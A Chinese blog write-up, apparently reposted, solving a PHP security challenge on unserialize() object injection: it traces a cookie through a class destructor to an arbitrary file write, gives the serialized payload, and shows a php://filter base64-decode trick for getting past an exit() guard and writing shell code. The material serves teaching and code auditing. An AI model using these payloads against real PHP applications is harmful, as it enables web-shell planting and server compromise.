关于[技术挑战-2] 转载自黑哥,-2转载


关于[技术挑战-2]

一 背景

    此挑战的题目是在学习Stefan Esser的最近发布的关于Unserialize()的那些漏洞公告和paper后产生的,在此之前对于Unserialize()引起的这一系列的应 用问题我也是一无所知的.学习后发现这类型的问题很多的应用程序存在,尤其是zend firework开发的一些程序,很值得学习,于是就有这个挑战.

    在这之前我也在hi群也进行过类似的exp-me的小问题,如在<关于[PCH-002]> 的blog里,就[SODB-2009-01] 的一个伪代码进行挑战,由于那次的代码太过于直白然后提示很多,导致你用非技术手段就可以测试出结果,吸取上次的经验,这次应该复杂一点,真实一点...

二 设计与挑战

对于那些没有看过Stefan Esser文章的朋友,这个exp-me.php里'设计'了几个看似非似的'漏洞':
  
   1.利用unserialize()/serialize()的'编码与解码'的问题,这个是可以不受magic_quotes_gpc的影响,但是$session直接进了unset() 所以应该不是挑战目标
   2.$sessiondata数组变量没有初始化,可以直接提交$sessiondata['user']进入数据库查询导致'sql注射',但 是$sessiondata['user']有单引号,而受magic_quotes_gpc的影响[当然在不考虑字符集等的一些问题下]
   3.还是利用上面的$sessiondata['user'],同时结合DB_MySQL类里的halt()写文件,或者可以找到什么漏洞,如果你很快就 会发现var $logfile;根本就没定义,所以默认根本没有办法写文件.[开始我是想定义个默认的文件名,然后把$filepath不定义,那样更加逼真,但是那 样可能太浪费挑战者的时间了]
  
   在blog的回复可以看的出来,确实很多人考虑了上面的一些问题,还有人开始怀疑exp-me.php的代码根本就是有问题的.....

   对与看过了Stefan Esser文章的朋友,其实也有一定的难度,因为在他的公告和文章里都是没有直接给出exp的分析也不是很详细,对于这些朋友这个挑战其实就提供了很好的demo,然后结合他的文章,也可以加强对这类漏洞类型的理解....

三 具体分析

首先我们要理解unserialize()/serialize()存在的意义,很多像我一样的'脚本小子'都是自学的半路出家的人,没有参加过什 么大型的php应用程序的开发,所以对于一些函数理解是不够的,了解到某某函数的特性后,有着各种各样的想法,而在nb的程序员眼里,只有一种概念:'我 一直都是那么用它来xxx的啊'.

php手册里:
[---------------引用开始----------------]
serialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

serialize -- 产生一个可存储的值的表示
描述
string serialize ( mixed value )


serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。

当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

注: 在 PHP 3 中,对象属性将被序列化,但是方法则会丢失。PHP 4 打破了此限制,可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。


unserialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

unserialize -- 从已存储的表示中创建 PHP 的值
描述
mixed unserialize ( string str [, string callback] )


unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE。

[---------------引用结束----------------]


也就是说serialize()可处理除了 resource 之外的任何类型为一个字符串,在通过unserialize()转换回来,我们再看看对object类型处理时说明:

[---------------引用开始----------------]
当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
[---------------引用结束----------------]

也就是说当unserialize()恢复对象时,将自动执行__wakeup() 成员函数.这个就是unserialize()执行类的关键.下面我们看看ryat帮我写的一个简单的demo:

<?php

class ryat {
var $wzt;
function __wakeup() {
echo $this -> wzt;
}
}

$ryat = new ryat();
$ryat -> wzt = 'hi';

$ryat = serialize($ryat);
var_dump($ryat);

$ryat = unserialize($ryat);
//var_dump($ryat);

//$ryat = unserialize('O:4:"ryat":1:{s:3:"wzt";s:2:"hi";}');
//var_dump($ryat);

?>

但是在Stefan Esser的公告里提到的是__destruct(),我们继续看手册:

[---------------引用开始----------------]

构造函数和析构函数
构造函数
void __construct ( [mixed args [, ...]] )


PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
....

为了实现向后兼容性,如果 PHP 5 在类中找不到 __construct() 函数,它就会尝试寻找旧式的构造函数,也就是和类同名的函数。因此唯一会产生兼容性问题的情况是:类中已有一个名为 __construct() 的方法,但它却又不是构造函数。

析构函数
void __destruct ( void )


PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
....

[---------------引用结束----------------]

这个是php5才引进的一个函数,在某个对象的所有引用销毁或者删除是自动执行.

我们回到挑战里的代码exp-me.php:

include 'mysql.php';

$session = unserialize(stripslashes($_COOKIE['_data'])); //测试方便可以修改为$_GET

isset($session)?$sessiondata:$session;
unset($session); //注意这个unset


unserialize()里的参数可以任意提交,调用在mysql.php里是class DB_MySQL,再通过unset($session)后[补充一句在unset是对于exp-me而言,在其他的一些应用程序了这个漏洞的参数不 unset不是必须的,比如程序允许完php会自动注销], 自动执行DB_MySQL类里的__destruct 函数:

    function __destruct() {
       echo $this -> close();
    }

很常见的处理,调用close():

function close() {
     $this->halt('MySQL_Close()');
   return mysql_close($this->link);
}

继续跟halt():

function halt($msg ='', $sql=''){
   global $php_self,$timestamp,$onlineip;
  
   $sqlcontent = "<?PHP exit('Access Denied'); ?>/t$timestamp/t$onlineip/t".basename($php_self)."/t".htmlspecialchars($this->geterrdesc())."/t".str_replace(array("/r", "/n", "/t"), array(' ', ' ', ' '), trim(htmlspecialchars($sql)))."/n";
   file_put_contents($this->logfile, $sqlcontent);
  
   exit;
}

最后到file_put_contents($this->logfile, $sqlcontent);来写文件,那么我们怎么构造$_COOKIE['_data']这个提交给unserialize()的序列的字符串呢?我们可以学习上面那个demo的方法:

<?php
include 'mysql.php';
$DB = new DB_MySQL;
$DB -> logfile = 'hi.php';
$ryat = serialize($DB);
var_dump($ryat);
?>

得到O:8:"DB_MySQL":3: {s:10:"querycount";i:0;s:4:"link";N;s:7:"logfile";s:6:"hi.php";} 当然你如果足够了解它的结构的话,你可以直接构造 :). 通过提交上面的字符串,在根目录就生存了一个hi.php文件,内容为<?PHP exit('Access Denied'); ?>

这里我们重新看看__destruct()/__wakeup()这类函数,是不是还有其他的类似的函数可以自动执行呢?

同样在php手册里找答案:

[---------------引用开始----------------]
Magic Methods
The function names __construct, __destruct (see Constructors and Destructors), __call, __get, __set, __isset, __unset (see Overloading), __sleep, __wakeup, __toString, __set_state, __clone and __autoload are magical in PHP classes. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them.
[---------------引用结束----------------]

有兴趣的朋友可以继续分析下其他Magic Methods有没有办法利用? :)

上面的过程就是这个类型漏洞的产生的流程了.... 下面要解决的就是突破<?PHP exit('Access Denied'); ?>问题,在Stefan Esser的漏洞公告里提到了这个问题,那就是通过转换过滤器来重写这个php文件:

<?php
//$shellcode='PD9waHBpbmZvKCk7Pz4';//<?phpinfo();?>
//$endstr='s'; //对齐<?PHP exit('Access Denied'); ?>/t的base64-decode的位数
//$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?>/t$timestamp");
?>
执行上面的代码,将<?PHP exit('Access Denied'); ?>/t$timestamp经过base64-decode后为乱码写入ryat.php,然后我们通过提交$timestamp把我们shell的代码写进去...

三 小结

   通过上面的分析我们可以总结2个类型的问题:
  
   1.unserialize()执行类导致的安全问题,是不是'漏洞',主要取决于__destruct()/__wakeup()等Magic Methods函数调用的可以完成什么样的功能,在php代码审计时策略是,查找unserialize()和 __destruct()/__wakeup()等,然后具体去分析调用过程.
   2.流过滤器给文件操作带来的安全问题.这个问题以前就有表现,比如include调用流文件,这里又多了一个突破<?PHP exit('Access Denied'); ?>等的方法.这个的前提是file路径或者名称可控.
  
   记得在<高级PHP应用程序漏洞审核技术>一文的第6节里:
  
[---------------引用开始----------------]
    * 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
    * 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
[---------------引用结束----------------]

这2条在本次挑战的问题里有着很好的体会.有心的朋友可以搜索一下,你可以找到很多关于unserialize()执行类的问题如:http://be-evil.org/post-62.html

四 题外话

我开始以为只要有*60的地方就有口水,现在我发现错了,只要有网络的地方就有口水.在本次挑战出来之前,某人就和我说这样会不会引起别人的bs 啊,因为这个问题最开始是别人提出来的.我说不应该把,而且有我也不怕,因为我习惯了....最后还谈到了一个知不知好歹的问题,说实话我真不知道这个挑 战里有什么'好歹'.

看官你知道不?

顺便说下'老外牛x'的这个问题,我也承认'老外牛x',我想全世界的人也应该承认,因为你在老外的眼里也是老外.我是Stefan Esser的fans,他是老外他牛x! 不知道那些经常用google翻译看pst搞的那个planet集合的老外,有没有'老外牛x'的感慨...............


五 参考

http://www.sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/
http://www.suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf           

updata:忙着编辑文章去了,忘记了一个重要的环节,那就是感谢大家的支持,尤其感谢ryat的讨论和指教. thx!

相关内容